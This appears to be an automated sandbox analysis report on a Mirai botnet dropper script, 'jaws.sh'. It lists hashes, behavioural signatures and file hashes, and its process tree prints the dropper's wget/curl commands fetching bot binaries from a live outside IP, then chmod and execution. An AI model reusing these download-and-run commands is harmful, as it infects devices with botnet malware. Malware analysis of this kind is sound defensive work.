Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11-12-2024 21:52

General

  • Target

    jaws.sh

  • Size

    2KB

  • MD5

    b2376e11b75940172b202f73348115f6

  • SHA1

    8ebf4a7557e461de0485f5329a7721364ceb4430

  • SHA256

    d944805762171baabf3efd4e676caa82b6f85ef49163d73f629713cb81887550

  • SHA512

    c2b6d7283a147c668653862501779f2df65b0c69ad7c4be55685d60ee82c11b29e9c287ddbc60018d802c1d1e3474a05ecc9f865635f9b7020f6dcf034f48178

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (98589) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Modifies Watchdog functionality 1 TTPs 20 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 9 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 9 IoCs
  • Reads system network configuration 1 TTPs 9 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 10 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/jaws.sh
    /tmp/jaws.sh
    1⤵
    • Writes file to tmp directory
    PID:1490
    • /usr/bin/wget
      wget http://37.114.41.90/bins/i486
      2⤵
        PID:1492
      • /usr/bin/curl
        curl -O http://37.114.41.90/bins/i486
        2⤵
        • Writes file to tmp directory
        PID:1501
      • /bin/cat
        cat i486
        2⤵
          PID:1505
        • /bin/chmod
          chmod +x Andrew config-err-riqIjM i486 jaws.sh netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-6rh8p2
          2⤵
          • File and Directory Permissions Modification
          PID:1506
        • /tmp/Andrew
          ./Andrew jaws.exploit
          2⤵
          • Executes dropped EXE
          PID:1507
        • /usr/bin/wget
          wget http://37.114.41.90/bins/x86
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://37.114.41.90/bins/x86
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/cat
          cat x86
          2⤵
            PID:1510
          • /bin/chmod
            chmod +x Andrew config-err-riqIjM i486 jaws.sh netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-6rh8p2 x86
            2⤵
            • File and Directory Permissions Modification
            PID:1511
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Changes its process name
            • Reads runtime system information
            PID:1512
          • /usr/bin/wget
            wget http://37.114.41.90/bins/i686
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/i686
            2⤵
            • Writes file to tmp directory
            PID:1518
          • /bin/chmod
            chmod +x Andrew config-err-riqIjM i486 i686 jaws.sh netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-6rh8p2 x86
            2⤵
            • File and Directory Permissions Modification
            PID:1520
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1521
          • /usr/bin/wget
            wget http://37.114.41.90/bins/x86_64
            2⤵
            • Writes file to tmp directory
            PID:1523
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/x86_64
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /bin/chmod
            chmod +x Andrew config-err-riqIjM i486 i686 jaws.sh netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-6rh8p2 x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1529
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1530
          • /usr/bin/wget
            wget http://37.114.41.90/bins/mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1537
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1541
          • /bin/chmod
            chmod +x Andrew config-err-riqIjM i486 i686 jaws.sh mips netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1543
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1544
          • /usr/bin/wget
            wget http://37.114.41.90/bins/mpsl
            2⤵
            • Writes file to tmp directory
            PID:1546
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/mpsl
            2⤵
            • Writes file to tmp directory
            PID:1550
          • /bin/chmod
            chmod +x Andrew config-err-riqIjM i486 i686 jaws.sh mips mpsl netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1552
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1553
          • /usr/bin/wget
            wget http://37.114.41.90/bins/arm4
            2⤵
            • Writes file to tmp directory
            PID:1555
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/arm4
            2⤵
            • Writes file to tmp directory
            PID:1559
          • /bin/chmod
            chmod +x Andrew arm4 config-err-riqIjM i486 i686 jaws.sh mips mpsl netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1561
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1562
          • /usr/bin/wget
            wget http://37.114.41.90/bins/arm5
            2⤵
            • Writes file to tmp directory
            PID:1564
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/arm5
            2⤵
            • Writes file to tmp directory
            PID:1568
          • /bin/chmod
            chmod +x Andrew arm4 arm5 config-err-riqIjM i486 i686 jaws.sh mips mpsl netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1570
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1571
          • /usr/bin/wget
            wget http://37.114.41.90/bins/arm6
            2⤵
            • Writes file to tmp directory
            PID:1573
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/arm6
            2⤵
            • Writes file to tmp directory
            PID:1577
          • /bin/chmod
            chmod +x Andrew arm4 arm5 arm6 config-err-riqIjM i486 i686 jaws.sh mips mpsl netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1579
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1580
          • /usr/bin/wget
            wget http://37.114.41.90/bins/arm7
            2⤵
            • Writes file to tmp directory
            PID:1582
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/arm7
            2⤵
            • Writes file to tmp directory
            PID:1586
          • /bin/chmod
            chmod +x Andrew arm4 arm5 arm6 arm7 config-err-riqIjM i486 i686 jaws.sh mips mpsl netplan_f9q45fhs snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1588
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1589
          • /usr/bin/wget
            wget http://37.114.41.90/bins/ppc
            2⤵
            • Writes file to tmp directory
            PID:1591
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/ppc
            2⤵
            • Writes file to tmp directory
            PID:1595
          • /bin/chmod
            chmod +x Andrew arm4 arm5 arm6 arm7 config-err-riqIjM i486 i686 jaws.sh mips mpsl netplan_f9q45fhs ppc snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1597
          • /tmp/Andrew
            ./Andrew jaws.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:1598

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/arm4

          Filesize

          31KB

          MD5

          b09e32f241911f4ddac45a1a7a19ba49

          SHA1

          17a7f213570aaea7f66b9c38091c9485fa0ea510

          SHA256

          42828a483869a643cec73d181faff7f3a433c9570fc96a6bc63a2d8bc2b1f95c

          SHA512

          1d7e94f3076da3e47e902cc523bb752d5333fcbe86a8f35e6ef11202b80e6021318ff8d60843a410a849dd46296e45ed452bfe01ea722df6bdbdd565fd954da5

        • /tmp/arm5

          Filesize

          32KB

          MD5

          bf55d7061cedeb10e6a3839353dc6d8c

          SHA1

          34b773230a77570ef0c6fced5ab9f125996e4daf

          SHA256

          aae9d2a9669849b09b4e8ed8f3baeeb4c948ca80ebddd5004a57c2b6b7049fc9

          SHA512

          555f6dec792e49927d5392fc8dae5174e8868c9acdddebd4d0a5b3386352df40c7342a82d0973979cdb5061ee347f4ebd33ce19ab98fbb6dcae293e1eb69c57e

        • /tmp/arm7

          Filesize

          50KB

          MD5

          d5af8f2bb8c7c3e39981ba0099fa1d1c

          SHA1

          f12212c88dddb3c0298987b917c55063f942df88

          SHA256

          fec20fde8f5cb8d571cee50a2bf8103c9e63c57b2bfd098693974389fd79c8d9

          SHA512

          42b3455e467f11b68f000f6f375bd9d7f42d77c16184a3a6a36bbf4751e72a01b692032ee6d03a8ed398484cacbdb6231478d42099004f3674de84873c2e817e

        • /tmp/i486

          Filesize

          274B

          MD5

          090e35476de39030dfeafbcf3d3e3f43

          SHA1

          a4bd408cec5d1185b478e528cf60a9f5186e0b87

          SHA256

          0085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b

          SHA512

          55c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181

        • /tmp/i686

          Filesize

          28KB

          MD5

          15fb222600a3061f5c8e5ef04e5298a6

          SHA1

          93b4a17632479c8a45e2554a18ea61ea7365c532

          SHA256

          fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965

          SHA512

          11e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34

        • /tmp/mips

          Filesize

          34KB

          MD5

          6088a204e0792a10d3724e836fe699b7

          SHA1

          fc1cf1010c99f155c46f94ec0529c8cea32c6055

          SHA256

          345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e

          SHA512

          bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e

        • /tmp/mpsl

          Filesize

          34KB

          MD5

          b8f2bf3e7c002718f12751cb02130d2e

          SHA1

          06919c90eae2564ee9ded3f343e2ec18839e411d

          SHA256

          390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d

          SHA512

          adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185

        • /tmp/ppc

          Filesize

          30KB

          MD5

          053488c4fc01a20ddb689a2212c33126

          SHA1

          1eff2d1947ee2d6481fdd2ab4b2a67fba3e18321

          SHA256

          0a8cb5b485b059b98725ff4a6411faa3ea9f150082b46b0b3868ae0e31b6dd41

          SHA512

          32d412546f202e9165cf6c905b46d52db20425b7ff7f90b98a739f6c7860b30c34e8bc5eaca4d6f23e25c6e88580990a6003fd9747d581e25098f3267e78f1f9

        • /tmp/x86

          Filesize

          28KB

          MD5

          54d07ade0004f03aaca028523d8f3eb6

          SHA1

          73606fc68439ea7ceb148f94d61dbe0235da8355

          SHA256

          d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b

          SHA512

          43ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b

        • /tmp/x86_64

          Filesize

          28KB

          MD5

          9cc970e0631afa61a049848f4f368b12

          SHA1

          54d7d99f436e9c97da5bfdd43698bb1dbd679b29

          SHA256

          681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16

          SHA512

          9f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e